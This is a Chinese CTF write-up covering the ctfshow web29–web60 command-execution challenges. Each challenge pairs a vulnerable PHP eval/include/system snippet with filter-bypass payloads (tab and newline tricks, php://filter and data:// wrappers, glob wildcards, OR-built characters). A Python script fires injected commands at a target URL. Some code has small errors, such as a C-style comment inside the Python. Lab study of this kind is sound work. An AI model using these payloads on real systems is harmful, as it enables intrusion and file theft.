Sud0G
Sud0G
发布于 2024-07-16 / 114 阅读
0
0

ctfshow-web入门-命令执行

web29

代码分析:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

当匹配到flag时,便不会输出

20240716-18.png

通过ls查看当前目录下的文件;

# 直接执行系统命令
?c=system("tac fla*");

# 内敛执行 (反字节符)
?c=echo `tac fla*`;

# 利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system(ls);
?c=eval($_GET[1]);&1=system("tac fla*");

# 利用参数输入+include
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

# 利用cp命令将flag拷贝到别处
?c=system("cp fl*g.php a.txt ");

web30

代码分析:

<?php
error_reporting(0);
if(isset($_GET['c'])){
	$c = $_GET['c'];
	if(!preg_match("/flag|system|php/i", $c)){
		eval($c);
	}

}else{
	highlight_file(__FILE__);
}

过滤了"flag/system/php",我们可以使用"passthru";

?c=passthru("ls");
?c=passthru("tac fla*");

web31

代码分析:

<?php
error_reporting(0);
if(isset($_GET['c'])){
	$c = $_GET['c'];
	if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
		eval($c);
	}

}else{
	highlight_file(__FILE__);
}

过滤了"flag/system/php/cat/shell/sort";继续使用"passthru()",此外还过滤了空格,可以用"%09(tab键)"

?c=passthru("tac%09fla*");

web32

代码分析:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了:flag/system/php/cat/sort/shell/./ /'/`/echo/;/(等,这题我们用include

;被过滤了所以我们使用%0a

构造了一个GET参数1,对文件内容进行base64编码,并且 resource=flag.php 指定了读取的文件路径是 flag.php,再将最终的结果进行base解码

web33

代码分析:

<?php

error_reporting(0);
if(isset($_GET['c'])){
	$c = $_GET['c'];
	if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
		eval($c);
	}

}else{
	highlight_file(__FILE__);
}

此题同样采用文件上传:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到编码后的内容,base64解码:

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODc5MmMxOTYtMzBjYy00NzU5LWFmYTMtNmY5ZTJmNzhlN2Q0fSI7DQo=

web34

代码审计:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了:flag/system/php/cat/sort/shell/./'/"/ /echo/;/:/`等;

同样,此题的payload和上题一样:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

代码审计:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了:flag/system/php/cat/sort/shell/./;/'/:/"/`/ /echo/(/=/<等;

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZGY0MjhhMjMtYjJiMC00ZDEzLTk2YjgtNzE3ZTVmZTE2YzI5fSI7

web36

代码审计:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag/system/php/cat/sort/shell/./;/'/:/"/`/ /echo/(/=/</[0-9]等;

我们这里用字母代替数字1;

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

代码审计:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://协议用法:
data://text/plain,
data://text/plain;base64,

payload: c=data://text/plain,<?php system("cat f*")?>       //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
                          //'base64,'后面是base64加密的<?php system('cat flag.php')?>

web38

代码审计:

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

新过滤了file和php;

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
                          //'base64,'后面是base64加密的<?php system("cat flag.php");?>

web39

代码审计:

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/plain,<?php system("cat f*")?> 

web40

代码审计:

<?php

if(isset($_GET['c'])){
  $c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
  eval($c);
}

}else{
  highlight_file(__FILE__);
}

字母,_,()和;没有被过滤,在代码中过滤的是中文括号.

scandir() 函数返回指定目录中的文件和目录的数组。

print_r() 函数用于打印变量,以更容易理解的形式展示。

localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

current() 函数返回数组中的当前元素的值。别名是 pos()

array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

20240716-19.png

但过滤了.,所以我们用另外一种方法;

?c=print_r(scandir(pos(localeconv())));

效果一样;localeconv()的第一个元素是"." ,用pos()可以返回数组第一个元素的值。所以结合起来就是 scandir(".") 相当于返回当前目录下文件的数组,最后用print_r输出。下一步应该要把flag.php这个值取出,来读取文件内容。但发现没有什么办法可以直接取出。

在PHP中,current() 函数用于返回数组中的当前元素的值。它会将数组指针指向当前元素,并返回该元素的值。如果数组是关联数组,current() 返回当前指针所指向的值;如果数组是索引数组,current() 返回当前指针所指向的值。数组指针是指向数组中当前元素的指针,通常由遍历数组时的函数(例如 foreach)进行操作。

以下是一个简单的示例,演示了 current() 函数的使用:

$array = array(1, 2, 3, 4, 5);
echo current($array); // 输出:1

next($array); // 将数组指针移动到下一个元素
echo current($array); // 输出:2

reset($array); // 将数组指针重新指向第一个元素
echo current($array); // 输出:1

在上面的示例中,current() 函数用于获取数组中当前指针所指向的元素的值。

在PHP中,current() 函数不会移动数组内部的指针。要移动指针以访问数组中的不同元素,需要使用 next()prev()reset()end() 等函数。这些函数可以在移动指针的同时改变当前元素的值。

$array = array(1, 2, 3, 4, 5);

// 获取当前元素的值
echo current($array); // 输出:1

// 移动指针到下一个元素
next($array);
echo current($array); // 输出:2

// 重置指针到第一个元素
reset($array);
echo current($array); // 输出:1

// 将指针移动到最后一个元素
end($array);
echo current($array); // 输出:5

在这个示例中,current() 函数用于获取当前指针所指向的元素的值,并且通过 next()reset()end() 函数移动了数组内部的指针,以改变当前元素的值。

当操作数组时,有一些常用的指针移动函数和数组指针控制函数可以使用。下面是一些示例:

  1. next(): 将数组指针移动到下一个元素。

    1. $array = array(1, 2, 3, 4, 5);

      next($array); // 将指针移动到第二个元素

  2. prev(): 将数组指针移动到上一个元素。

    1. $array = array(1, 2, 3, 4, 5);

      prev($array); // 将指针移动到第一个元素之前(即未定义的位置)

  3. reset(): 将数组指针重置为第一个元素。

    1. $array = array(1, 2, 3, 4, 5);

      reset($array); // 将指针重置到第一个元素

  4. end(): 将数组指针移动到最后一个元素。

    1. $array = array(1, 2, 3, 4, 5);

      end($array); // 将指针移动到最后一个元素

  5. current(): 返回数组中当前指针所指向的元素的值。

    1. $array = array(1, 2, 3, 4, 5);

      echo current($array); // 输出:1

  6. key(): 返回数组中当前指针所指向的元素的键。

    1. $array = array(1, 2, 3, 4, 5);

      echo key($array); // 输出:0

  7. each(): 返回当前元素的键和值,并将数组指针向前移动一步。

    1. $array = array('a' => 'apple', 'b' => 'banana', 'c' => 'cherry');

      $element = each($array);

      echo $element['key'] . ' : ' . $element['value']; // 输出:a : apple

这些函数可用于在数组中移动指针,并获取相应位置的元素值或键。

这时候我们可以用array_reserve()把数组内元素顺序倒过来,flag就变成数组中的第二项,然后可以用next()取出(默认指针停留在数组第一项)

?c=print_r(array_reverse(scandir(pos(localeconv()))));
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

20240716-20.png

20240716-21.png

最后我们可以用read_file()、highlight_file()和show_source()读出源码,拿到flag

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

分析代码:

<?php
if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
  eval("echo($c);");
}
}else{
  highlight_file(__FILE__);
}
?>

代码中过滤的较多,我们可以使用脚本先跑出来所有的可用字符;从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);        //将小于16的数字转化为16进制存储
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);        //将小于16的数字转化为16进制存储
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        //将16进制数转化为ascii码字符,判断是否存在被过滤的字符,存在则输出为空
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));   //将a和b进行或运算得到c
            //判断c是否为可见字符,将其输出到rce_or.txt文件中
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

代码运行过后会生成一个txt文件,此文件为可见字符集,之后我是用羽师傅的自动化脚本:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

# 执行PHP文件,该文件可能用于远程代码执行(RCE)的初始设置或测试
os.system("php rce_or.php")  # 如果没有将php写入环境变量,需要手动运行

# 检查命令行参数的数量,确保用户提供了正确的URL
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)

# 从命令行参数中获取目标URL
url = argv[1]

/**
 * 根据输入字符查询并构造特定的输出字符串
 * @param arg 输入的字符,预期为一个字符
 * @return 返回构造的字符串,该字符串由两部分组成,用"|"分隔
 */
def action(arg):
    s1 = ""
    s2 = ""
    # 根据输入字符从文件中读取相应的字符串片段
    for i in arg:
        f = open("rce_or.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    # 组合读取到的字符串片段,并返回
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)

# 无限循环,接收用户输入的函数和命令,然后发送POST请求
while True:
    # 分别获取用户输入的函数和命令,并通过action函数处理
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    # 对用户输入进行URL解码,并构造请求数据
    data = {
        'c': urllib.parse.unquote(param)
    }
    # 发送POST请求到目标URL,并打印响应结果
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)
  • 执行一个名为rce_or.php的PHP文件,该文件可能用于远程代码执行的初始设置或测试。

  • 检查命令行参数的数量,确保用户提供了正确的URL。

  • 从命令行参数中获取目标URL。

  • 定义了一个名为action的函数,该函数根据输入字符查询并构造特定的输出字符串。

  • 在一个无限循环中,接收用户输入的函数和命令,然后调用action函数处理用户输入,并发送POST请求到目标URL。

  • 打印响应结果。

20240716-22.png

web42

这题他说过滤了很严格:

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这代码分析完后,代码的输出结果不会在页面上显示,即不回显

?c=ls;
?c=cat fl*;

接着查看源码即可得到flag;

可以使用一下符号进行命令分割,以此来绕过回显

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

https://www.cnblogs.com/tinywan/p/6025468.html

web43

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac fla*||

web44

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac fl*||

web45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla*||

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||

web47

<?php
if (isset($_ GET['c'])) {
  $c=$_ GET['c'];
  if (!preg_ match("/\: |cat |flag| | [0-9] |\\$ |\* |more |less |headlsort|tail/i",$c)){
    system($c.”>/dev/null 2>&1") ;
    }
}else{
    highlight_ file(__ FILE__ ) ;
}

payload:

?c=tac%09fla?.php%0a

web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||

web49

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||

web50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

注意:<不能和?连在一起用

payload:

?c=tac<fla''g.php||

web51

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=nl<fla''g.php||

web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在输入:?c=nl${IFS}fla''g.php||,得到的并不是flag,我们使用find命令进行查找

find / -name "flag" -print
?c=nl${IFS}/fla''g||

web53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=nl${IFS}fla''g.php

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);

这题过滤的比较多,我们可以使用bin目录下的cat文件夹来代替cat的命令作用,并同时使用通配符?代替一些字符:

payload:

?c=/bin/?at${IFS}f???????

https://www.cnblogs.com/cuiqi1314/articles/7339776.html

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload:

使用通配符和base编码flag:

?c=/???/????64 ????.???
# 翻译过来
?c=/bin/base64 flag.php

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字便无法使用base64编码了,我们使用文件上传;写一个界面,action的指向为靶场页面的url:

glob通配符

因为只有PHP生成的临时文件包含大写字母,所以可以用/???/????????[@-[]来匹配我们上传的临时文件。

原理:
翻开
ascii码表,可见大写字母位于@与[之间:

20240716-23.png

那么,我们可以利用[@-[]来表示大写字母:

20240716-24.png

. 执行文件不需要x权限

20240716-25.png20240716-26.png20240716-27.png

web57

<?php

  // 还能炫的动吗?
  //flag in 36.php
if(isset($_GET['c'])){
  $c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
  system("cat ".$c.".php");
}
}else{
  highlight_file(__FILE__);
}

经过分析,我们所需要的便是构造出36这个数字,

${_}:代表上一次命令执行的结果
$(()): 做运算

[root@localhost ~]# echo ${_}
PATH
[root@localhost ~]# pwd
/root
[root@localhost ~]# echo ${_}
pwd
[root@localhost ~]# echo $(())
0
[root@localhost ~]# echo $((~$(())))
-1

题目要读取36.php,先对36取反,可以知道36可以由-37取反得到,-37又可以拆成37个 -1 相加也就是37个$((~$(( )))),再在外面取反(也就是对-37取反)就可以得到36

payload:

题目要读取36.php,先对36取反,可以知道36可以由-37取反得到,-37又可以拆成37个 -1 相加也就是37个$((~$(( )))),再在外面取反(也就是对-37取反)就可以得到36

web58

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

获取文件路径,这里可以用两种方式

c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

因为没有任何过滤我们便可以读取任意的文件

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");             
highlight_file("flag.php");             

另一解法:

include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

web59

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

首先查明flag的位置:

print_r(scandir(dirname('__FILE__')));

在通过代码进行读取

print_r(file('flag.php'));
ctfshow{906e1c2d-9e05-4789-a80d-2cc81bc7d957}

web60

代码与上一题一样

c=print_r(scandir(dirname('__FILE__')));
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

(省略)


评论